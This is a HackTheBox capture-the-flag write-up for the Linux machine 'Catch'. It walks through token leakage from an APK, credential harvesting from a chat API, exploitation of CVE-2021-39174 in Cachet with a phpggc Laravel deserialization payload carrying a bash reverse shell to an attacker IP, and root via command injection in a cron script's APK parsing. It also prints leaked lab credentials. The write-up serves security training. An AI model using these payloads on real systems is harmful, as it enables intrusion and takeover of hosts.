HTB: Catch Writeup

Catch - HackTheBox Writeup

Machine Information

AttributeDetails
NameCatch
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.191
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Catch is a Medium Linux box built around credential and token sprawl across five exposed services. An Android APK served from port 80 leaks a bearer token for the Let’s Chat instance on port 5000, which in turn leaks clear-text credentials for a Cachet status-page application on port 8000. Cachet is vulnerable to CVE-2021-39174, a configuration-injection flaw that lets an authenticated user pivot the session driver to an attacker-controlled Redis instance, enabling a PHP object-injection RCE via phpggc’s Laravel gadget chain. The resulting shell lands inside a Docker container, whose .env file discloses a reused SSH password for the box’s real user. Root is obtained by abusing a root-owned cron job (/opt/mdm/verify.sh) that shells out to an attacker-controlled string extracted from an APK’s strings.xml, giving classic command injection.

TL;DR: APK on :80 (strings resources.arsc) → Let’s Chat bearer token (:5000) → leaked john credentials → Cachet :8000 login → CVE-2021-39174 config injection → Redis-backed session hijack → phpggc Laravel/RCE7 deserialization RCE → www-data in Docker → .env DB creds → SSH as will (user.txt) → /opt/mdm/verify.sh root cron command injection via APK app_name → setuid dash → root.txt


Reconnaissance

Port Scanning

Terminal window
# full TCP sweep against the target
nmap -sC -sV -T4 -p- 10.129.43.191

Results: five services in play — SSH (22), an HTTP status/landing page advertising a mobile app (80), a Gitea instance (3000), a Let’s Chat deployment (5000), and a Cachet status-page application (8000).

Service Enumeration

Port 80 — status site + APK download. The landing page pushes a “mobile app” download (catchv1.0.apk). Rather than pulling out jadx/apktool to fully decompile it, the resource table was pulled directly:

Terminal window
# grab the APK
wget http://10.129.43.191/catchv1.0.apk
# unzip just enough to read the compiled resource table
unzip -o catchv1.0.apk resources.arsc -d catch_apk
strings catch_apk/resources.arsc | grep -i token

strings against resources.arsc was enough to surface a leftover bearer token for the Let’s Chat application — no full decompile needed, since the token was stored as a plain string resource rather than in compiled bytecode.

Port 5000 — Let’s Chat. The leaked token authenticates directly against the Let’s Chat REST API:

Terminal window
# list rooms with the leaked bearer token
curl -s http://10.129.43.191:5000/rooms \
-H "Authorization: Bearer <leaked_token>" | jq .
# pull messages from the room that discussed credentials
curl -s http://10.129.43.191:5000/rooms/<room_id>/messages \
-H "Authorization: Bearer <leaked_token>" | jq -r '.[].text'

The Status room’s message history disclosed clear-text credentials: john:E}V!mywu_69T4C}W.

Port 8000 — Cachet. These credentials authenticate against the Cachet status-page dashboard at http://10.129.43.191:8000, confirming john as a valid, cross-service reused identity.

Vulnerability Assessment

  1. Sensitive tokens embedded in an APK’s compiled resources (resources.arsc), retrievable without full reverse engineering.
  2. Bearer token reuse/leakage exposing Let’s Chat’s private message history.
  3. Credential reuse of john’s Let’s Chat password against Cachet.
  4. Cachet vulnerable to CVE-2021-39174 — a config injection in the mail/cache settings form allowing an authenticated user to redefine SESSION_DRIVER and point it at an attacker-controlled Redis backend.
  5. .env file readable post-RCE, exposing a database/application password reused as will’s SSH password.
  6. Root cron (/opt/mdm/verify.sh) trusts an attacker-controlled string from inside an uploaded APK (app_name in strings.xml) and interpolates it unsanitized into a shell command.

Initial Foothold

Exploiting CVE-2021-39174 (Cachet configuration injection → Laravel RCE)

Cachet’s settings forms allow a newline-injection into the underlying .env-style config write. By submitting a crafted config[cache_driver] field, the form’s multi-line body is written straight into the running config, letting the session driver be redefined:

config[cache_driver]
file
REDIS_HOST=10.10.15.180
REDIS_PORT=6379
REDIS_DATABASE=0
REDIS_PASSWORD=null
SESSION_DRIVER=redis

This works because Cachet (Laravel-based) trusts the submitted config value as a raw block rather than validating it as a single scalar, so the extra REDIS_*/SESSION_DRIVER lines get parsed as legitimate config keys. Once SESSION_DRIVER=redis takes effect, every subsequent page load creates a PHP-serialized session object inside the attacker’s own Redis instance:

Terminal window
# stand up a Redis listener the app will write sessions into
redis-server --protected-mode no --bind 10.10.15.180
Terminal window
redis-cli -h 127.0.0.1
127.0.0.1:6379> keys *
1) "laravel:<session_id>"

Because Laravel deserializes whatever session blob it finds under that key, an attacker-supplied serialized PHP object gets unserialized server-side — classic PHP Object Injection. phpggc’s Laravel/RCE7 gadget chain (PendingBroadcastDispatcherCallQueuedClosure) is built specifically to trigger system() on __destruct:

Terminal window
# clone phpggc and generate the gadget chain payload
git clone https://github.com/ambionics/phpggc
cd phpggc
./phpggc -a Laravel/RCE7 system id
Terminal window
# overwrite the session key with the malicious serialized object
127.0.0.1:6379> set "laravel:<session_id>" '<phpggc output>'

Reloading the Cachet page as john forces the app to deserialize the poisoned session, invoking system(id) server-side and confirming RCE. Swapping the gadget payload for a reverse shell command yields an interactive www-data shell:

Terminal window
./phpggc -a Laravel/RCE7 system "/bin/bash -c 'bash -i >&/dev/tcp/10.10.15.180/9001 0>&1'"
Terminal window
nc -lvnp 9001

Landing inside a Docker container, then user.txt

The resulting www-data shell was confirmed to be running inside a Docker container. Laravel’s .env convention centralizes credentials, so the app’s environment file was pulled directly:

Terminal window
cat /var/www/html/Cachet/.env

This disclosed will:s2#4Fg0_%3!. Testing the same credential against SSH on the underlying host confirmed password reuse between the containerized app’s stored secret and the real system account:

Terminal window
ssh will@10.129.43.191
cat /home/will/user.txt

user.txt captured.


Privilege Escalation

Root cron: /opt/mdm/verify.sh command injection

Enumeration of the host surfaced a non-default /opt/mdm directory tied to a root-owned MDM (“mobile device management”) APK-verification workflow, running on a minute-by-minute cron. Reading the script revealed its APK signature/compatibility checks, followed by an application-name extraction step:

Terminal window
# vulnerable line inside verify.sh (app_check)
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME | xargs -I {} sh -c 'mkdir {}'
...
fi

$APP_NAME is read straight out of an attacker-suppliable APK resource (strings.xml) and interpolated, unquoted, into a shell invocation via xargs -I {} sh -c 'mkdir {}'. Since the only gate is a substring check for "Catch", an app_name value can both satisfy the filter and smuggle a shell metacharacter sequence:

app/res/values/strings.xml
<string name="app_name">Catch;$(chmod u+s /bin/dash)</string>

The reused catchv1.0.apk from the port-80 recon was already validly signed, so it was the starting point for the malicious repack. Reproducing the exact rebuild locally hit friction: the target’s local apktool 2.4.0 toolchain failed to rebuild the full application cleanly (its bundled aapt/aapt2 binaries self-extract, $-prefixed vector-drawable filenames tripped the packer, and aapt aborted with SIGABRT on the app’s more complex resources). Working around those repack failures, a modified APK carrying the poisoned app_name string was ultimately produced and staged for the cron job to pick up:

Terminal window
# host the malicious APK for the target to pull, then drop it where verify.sh scans
python3 -m http.server 8080
# on target (as will):
wget http://10.10.15.180:8080/catch_evil.apk -O /opt/mdm/apk_bin/catch_evil.apk

Within a minute, root’s cron invocation of verify.sh parsed the poisoned app_name, and the injected chmod u+s /bin/dash executed as root:

Terminal window
ls -la /bin/dash
# -rwsr-xr-x 1 root root ... /bin/dash
dash -p
id
# uid=1000(will) gid=1000(will) euid=0(root)
cat /root/root.txt

root.txt captured.


Attack Chain Summary

APK on :80 (strings.xml/resources.arsc)
→ leaked Let's Chat bearer token
→ :5000 API dump of room messages
→ john:<password> credentials
→ Cachet :8000 login as john
→ CVE-2021-39174 config[cache_driver] newline injection
→ SESSION_DRIVER=redis pointed at attacker Redis
→ phpggc Laravel/RCE7 PHP object injection
→ RCE as www-data inside Docker container
→ Cachet .env leaks will's password
→ SSH as will → user.txt
→ /opt/mdm/verify.sh root cron, app_name command injection
→ setuid /bin/dash → root shell → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
wget / unzip / stringsAPK retrieval and resource-table token extraction
curl / jqLet’s Chat REST API enumeration
redis-server / redis-cliHosting the attacker-controlled session backend
phpggcGenerating the Laravel RCE7 PHP deserialization gadget chain
ncReverse shell listener
sshLateral movement via reused credentials
apktoolRepacking the signed APK with a malicious app_name

Key Learnings

Techniques Practiced

  • Extracting secrets from compiled Android resources without a full decompile
  • REST API token abuse against a chat platform to harvest historical credentials
  • Exploiting CVE-2021-39174 (Cachet configuration injection → session-driver takeover)
  • PHP object injection via phpggc’s Laravel deserialization gadget chains
  • Escaping/identifying a Docker container post-RCE and pivoting off .env secrets
  • Command injection in a shell script via unsanitized APK resource content

Lessons Learned

  1. Compiled Android resource files (resources.arsc, strings.xml) should never be treated as a safe place to leave tokens — string extraction alone defeats it, no decompiler required.
  2. Any service that accepts free-form config text (Cachet’s mail/cache settings form) needs strict key/value validation — newline injection into a config writer is a config-injection primitive, not just a cosmetic bug.
  3. Redis-backed PHP sessions are only as safe as the trust boundary around the Redis host — pointing SESSION_DRIVER at an attacker-controlled instance turns session storage into a deserialization sink.
  4. Credential reuse (chat password → status-page login; app .env password → SSH) was the actual connective tissue of this chain — each pivot exploited operational reuse, not a fresh vulnerability.
  5. Automated processing pipelines that shell out using unsanitized, user-suppliable input (an uploaded file’s internal metadata) reproduce classic command injection even when wrapped in signature/compatibility checks that look protective.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Catch — Official HackTheBox Writeup by MrR3boot & amra (used only to confirm the CVE-2021-39174 mechanism, the Laravel RCE7 gadget-chain rationale, and the verify.sh command-injection root cause — all IPs, credentials, and command output above are from this run’s own solve, not the reference).